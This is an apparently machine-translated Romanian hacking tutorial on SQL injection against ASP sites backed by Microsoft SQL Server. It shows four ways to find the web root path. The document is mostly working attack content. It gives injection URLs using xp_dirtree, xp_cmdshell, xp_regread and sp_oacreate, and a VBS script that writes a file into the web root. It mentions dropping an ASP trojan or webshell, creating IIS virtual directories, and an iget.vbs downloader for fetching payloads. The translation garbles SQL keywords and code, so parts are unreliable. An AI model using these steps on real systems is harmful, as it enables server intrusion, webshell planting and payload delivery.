Injecția SQL pentru a obține calea completă a site-ului
Dacă site-ul are doar 80 de porturi, vei găsi următoarele metode mai utile
Aproape toate metodele folosite nu sunt cele pe care le-am descoperit, iar articolul include întotdeauna experiență personală și abilități la injectare
Există 4 metode (acum cunoscute)
Prima metodă:
Aceasta este <怪异的SQL注入>metoda introdusă în < >
Folosind xp_dirtree sqlserver, să vorbim mai întâi despre metodă, apoi despre avantajele și dezavantajele acesteia (unele adaosuri sunt făcute pe baza textului original)
Creează tabele
Declarație:http://www.xxxxx.com/down/list.asp?id=1;create Direcții de tabel (Paths Varchar(1000))--
Înapoi: Informații normale! Înseamnă că masa este creată cu succes! Continuă!
(Cel construit este puțin mai mare decât originalul, pentru că am dat peste un fișier cu un nume lung și am șters ID-ul pentru că nu mai folosește nimic)
Declarație:http://www.xxxxx.com/down/list.asp?id=1;insert Directorii executivi master.dbo.xp_dirtree 'C:\' --
Returnări: Informații normale. Înseamnă că toate directoarele scrise pe hard C sunt de succes! Super! Următorul pas este să iei aparatul de parmetru! Încalcă-l și ieși afară. (Se pare că există o singură cale de a face asta)
Declarație:http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează căile top 1 din dirs)-
Retururi: Microsoft OLE DB Provider pentru SQL Server eroare 80040e07
Eroarea de sintaxă apare atunci când se convertește valoarea varchar '@Inetpub' într-o coloană cu tip de date int.
Apoi, numele directoarelor din tabel sunt arătate la rândul lor!
Declarație:http:// http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează top 1 căi de la
dires unde căile care nu sunt în( '@Inetpub'))--
Retururi: Microsoft OLE DB Provider pentru SQL Server eroare 80040e07
Eroarea de sintaxă a apărut la conversia valorii varchar 'test' într-o coloană cu tip de date int.
Apoi, numele directoarelor din tabel sunt arătate la rândul lor!
Bine, să continuăm
Declarație:http:// http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează top 1 căi de la
dirs unde căile care nu sunt în ( '@Inetpub','test')--
Retururi: Microsoft OLE DB Provider pentru SQL Server eroare 80040e07
Eroarea de sintaxă apare atunci când se convertește valoarea varchar 'haha' într-o coloană cu tip de date int.
Apoi, numele directoarelor din tabel sunt arătate la rândul lor!
Ok, ar trebui să știi cum se face, haha, doar adaugă numele tabelului pe care îl primești la acea paranteză, pune câte vrei,
Un mic truc:
Uneori vei observa că atunci când intrarea este similară
http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează căile top 1 din dirs)-
În loc să afișeze o eroare, pagina web este afișată normal
Amețeală, nu fi nervos
Uită-te la 0<> (selectează căile de top 1 din dirs) pentru a arăta că returnarea este un număr,
Haha, testează și vezi cât costă
100>(selectează principalele 1 căi din direcții)
Înapoi la normal
Haha, poți ghici rapid cu această metodă dacă este mai mare sau mai mic
Bine, să continuăm
De exemplu, când apare
59=(selectează căile de top 1 din dirs)
Reveniți la normal,
OK, numele este 59
Intră după cum urmează
http:// http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează top 1 căi de la
direcții unde căile nu sunt în ('59'))--
Amintește-ți să pui ghilimele
Următoarea metodă este aceeași ca cea originală
Există și o problemă
Uneori, când introduc 59 folosind metoda de mai sus, observ că următorul folder este tot 59
Ce se întâmplă?
Hehe, nu știu dacă ai observat că 059 și 59 sunt la fel?
De asta haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează top 1 căi de la
dirs unde căile nu sunt în ('059'))--
Am observat că numele următorului folder este afișat, ok
Analiza avantajelor și dezavantajelor:
Avantajul este că toți utilizatorii sqlserver îl pot folosi, pentru că xp_dirtree aplică permisiunea PUBLIC,
Dezavantajul este că afișează numele tuturor folderelor din director, iar aranjamentul pare să nu fie în ordine; pe scurt, este dureros să găsești folderul dorit în mii sau zeci de mii de foldere.
Și știi că să ai acel folder nu garantează că va fi în directorul rădăcină, ceea ce este cu adevărat dureros, de multe ori depinde de noroc și rezistență.
Îți doresc succes
Metoda 2:
Folosește xp_cmdshell
Haha, toată lumea trebuie să fie familiarizată cu asta, permiteți-mi să spun pe scurt
Creează tabele
Declarație:http://www.xxxxx.com/down/list.asp?id=1;create Direcții de tabel (Paths Varchar(1000))--
Înapoi: Informații normale! Înseamnă că masa este creată cu succes! Continuă!
(Cel construit este puțin mai mare decât originalul, pentru că am dat peste un fișier cu un nume lung și am șters acel ID pentru că este inutil.)
Declarație:http://www.xxxxx.com/down/list.asp?id=1;insertRegii Executiv master.dbo.xp_cmdshell 'Regie C:\ /B/D' --
Returnări: Informații normale. Înseamnă că toate directoarele scrise pe hard C sunt de succes! dir c:\ /B/D este folosit aici, haha, dacă nu știi ce face /B/D, încearcă să vezi ce face
Declarație:http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează căile top 1 din dirs)-
Retururi: Microsoft OLE DB Provider pentru SQL Server eroare 80040e07
Eroarea de sintaxă apare atunci când se convertește valoarea varchar '@Inetpub' într-o coloană cu tip de date int.
Apoi, numele directoarelor din tabel sunt arătate la rândul lor!
Declarație:http:// http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează top 1 căi de la
dires unde căile care nu sunt în( '@Inetpub'))--
Retururi: Microsoft OLE DB Provider pentru SQL Server eroare 80040e07
Eroarea de sintaxă a apărut la conversia valorii varchar 'test' într-o coloană cu tip de date int.
Apoi, numele directoarelor din tabel sunt arătate la rândul lor!
Metoda este aceeași ca cea de mai sus, așa că nu voi vorbi despre ea
Uneori putem face ceva și cu următoarele două extensii
1) Putem profita de xp_availablemedia pentru a obține toate unitățile curente și a le salva în tabelul dirs:
5 ; inserați regii executive master.dbo.xp_availablemedia; --
Putem obține lista de unități și informațiile conexe interogând conținutul temporarului
(2) Putem folosi xp_subdirs pentru a obține lista subdirectoarelor și a le stoca în tabelul dirs:
5 ; inserează în regii executivul master.dbo.xp_subdirs 'c:\' ; --
Analiza avantajelor și dezavantajelor:
Evident, acest lucru nu va xp_dirtree situația în care toate directoarele sunt puse laolaltă, doar directorul de nivel întâi va fi afișat, care este mult mai ușor de găsit.
Dezavantajele sunt evidente, doar SA are această permisiune, și este posibil ca administratorul să fi șters această extensie (până la urmă, este prea puternică).
Metoda 3:
Această abordare este bună
Următorul este textul original
M-am gândit să folosesc programul adsutil.vbs, pe care l-am executat
a'; Șec Teacher.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Nu este lung? Prin el, putem crea primul site virtual în IIS (inclusiv, desigur, directorul propriu-zis unde se află situația)
Import în a.txt
Implicit pentru locația reală a a.txt este, desigur, c:\winnt\system32, ceea ce de fapt nu este o problemă, dar când întâlnești un administrator care setează adsutil.vbs
Șterge-le sau pune-le în altă parte
Nu putem face nimic în privința asta (nu poți scrie unul singur cu comanda echo)
Pasul 2: Folosește comanda echo pentru a scrie următorul cod în c:\, ceea ce nu este mult
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proces"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
do în timp ce nu fil.atendofstream
nr=fil.readline
dacă left(nr,4)="Path" atunci
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Ieșire do
sfârșit dacă
Buclă
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Taie aici-------------------------------------
Pasul 3: Desigur, este să executăm reader.vbs, astfel încât să putem citi conținutul din aa.txt și să găsim traseul real al site-ului
Apoi scrie un fișier numit dd.asp în directorul de bază al site-ului web și vei ști dacă poți încerca cu succes
executahttp://x.x.x.x/dd.asp
Retururi: \xxx
Haha, e o metodă bună,
Totuși, textul original pare să aibă unele probleme
Este
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Eroarea apare atunci când sunt trimise două propoziții
Așa că am venit cu semnul plus, care are aceeași funcție ca și &
Și despre ce să scriu dd.asp? Scrie-i lui tata, haha
Haha, am schimbat-o
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proces"("windir"
Set fil =fso1.opentextfile(SPA "\system32\aa.txt"
do în timp ce nu fil.atendofstream
nr=fil.readline
dacă left(nr,4)="Path" atunci
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Ieșire do
sfârșit dacă
Buclă
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Taie aici--------------------------------------
Deoarece numărul de timp este convertit într-un spațiu atunci când trimiți în browser, ar trebui să setezi și
Devine %2B, bine, ar trebui să fie în regulă, așa cum urmează
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("proces"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
do în timp ce nu fil.atendofstream
nr=fil.readline
dacă left(nr,4)="Path" atunci
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Ieșire do
sfârșit dacă
Buclă
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Taie aici--------------------------------------
Dacă descoperim că 1 nu este acolo, putem deveni 2, 3, 4...........
a'; Șec Teacher.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Dar această metodă poate fi folosită doar sub Windows 2000, deoarece adresele site-urilor nou create sub 2003 nu sunt aranjate conform 1234, pare să fie generată aleatoriu, iar eu am comparat mai multe sub 2003
Adresă, nu s-a găsit nicio regularitate.
Analiza avantajelor și dezavantajelor:
La fel și xp_cmdshell Nu orice utilizator îl poate folosi! O altă problemă este că fișierul adsutil nu există neapărat sau nu este neapărat pe acea cale, deși îl poți folosi dacă ai intenționat
Echo scrie unul (haha, vechi și vechi), iar o altă întrebare este: ce se întâmplă dacă există multe site-uri pe gazdă? Am întâlnit un gazdă cu nouă locații, iar doar al optulea este util
Da, slăbit, e greu pentru cineva să aibă răbdarea să persiste atât de mult, poate s-a prăbușit de mult. De asemenea, nu poate fi folosit în 2003!
Dar, sincer, această metodă este într-adevăr una bună
Metoda 4:
Această metodă este de a citi calea de la registru prin xp_regread etc
Se recomandă următoarea variantă pentru a obține calea paginii web (citiți registrul prin proceduri stocate):
Utilizează procedura stocată încorporată xp_regread (citește cheia de registru, permisiunea publică):
Declarație: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) maestru executiv... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , valori=@test OUTPUT inserați în căi
valori (căi) (@test)
Calea implicită IIS în registrul HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Folosește câmpul burst pentru a citi valoarea bazei de date:
Declarație: http://www.xxx.com/list.asp?classid=1 și 0<>(selectează principalele 1 căi din newtable)--return: Microsoft OLE DB Provider pentru
Eroarea driverelor ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] convertește valoarea varchar E:\www,,201 într-un tip de date int
coloană.
Aceasta înseamnă că directorul paginii web este în E:\www, iar apoi poți folosi FSO pentru a scrie direct pe troianul ASP
Ce se întâmplă dacă nu poți obține un director web? Trebuie să ghicești dacă site-ul folosește WEB-ul implicit sau numele de domeniu ca WEB.
declară @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "site implicit" -v "e","e:\"'
Creează un director virtual E sub site-ul WEB implicit, indicând către E: sub disc.
declară @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Este bine să adaugi atribute de navigare în directorul virtual, de exemplu. Deschide un serviciu virtual pentru tine. Gândindu-mă la acele căi ale directoarelor paginilor web, capul meu este aproape rupt. Acum mi-am deschis ochii. Aceasta este WEBSHELL-ul care folosește MS
SQL este sfârșitul muncii noastre, iar următorul job ar trebui să fie al tău.
Haha, metoda e bună, citește-o prin formularul de înregistrare, e convenabilă și rapidă!
Analiza avantajelor și dezavantajelor:
Avantajul este, desigur, că este convenabil și rapid. Dezavantajul este că poți vedea doar traseul site-ului implicit IIS, iar dacă nu mai este site-ul implicit, nu poți face nimic (l-am urmărit cu regsnape), dacă este sub 2003
Adică, nici calea implicită a site-ului nu este afișată! În durere
Apropo, de fapt, există și alte modalități de a continua intruziunea în afară de găsirea traseului site-ului, cum ar fi încărcarea troianului bounce prin tftp sau scrierea unui iget.vbs pentru a descărca dongdong-ul dorit
Codul iget.vbs este următorul:
---------începe----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------sfârșit-----------
Supliment la acest articol:
Recent, am constatat că înțelegerea mea a instrucțiunilor președintelui Mao nu era suficient de profundă și aș dori să adaug aici
De fapt, metodele de mai sus nu trebuie deloc comparate xp_dirtree sunt cele mai bune, atâta timp cât această metodă este suficientă
E doar pentru că am fost prea ..............
Astăzi voi dezgropa din nou secretul xp_dirtree
Bine, să fim executive master: xp_dirtree'd:/test'
Să zicem că avem două foldere în test, test1 și test2, și test3 în test1
Rezultatele arată
Adâncimea subdirectorului
Test1 1
Test3 2
Test2 1
Haha, am descoperit că nu există nicio profunzime în seria directorului
Bine, știi ce ai de făcut
http://www.xxxxx.com/down/list.asp?id=1;create Direcții de tabel (căi varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Directorii executivi master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1 și 0<>(selectează căile de top 1 din direcții unde id=1)-
Atâta timp cât se adaugă id=1, acesta este directorul de nivel întâi.
|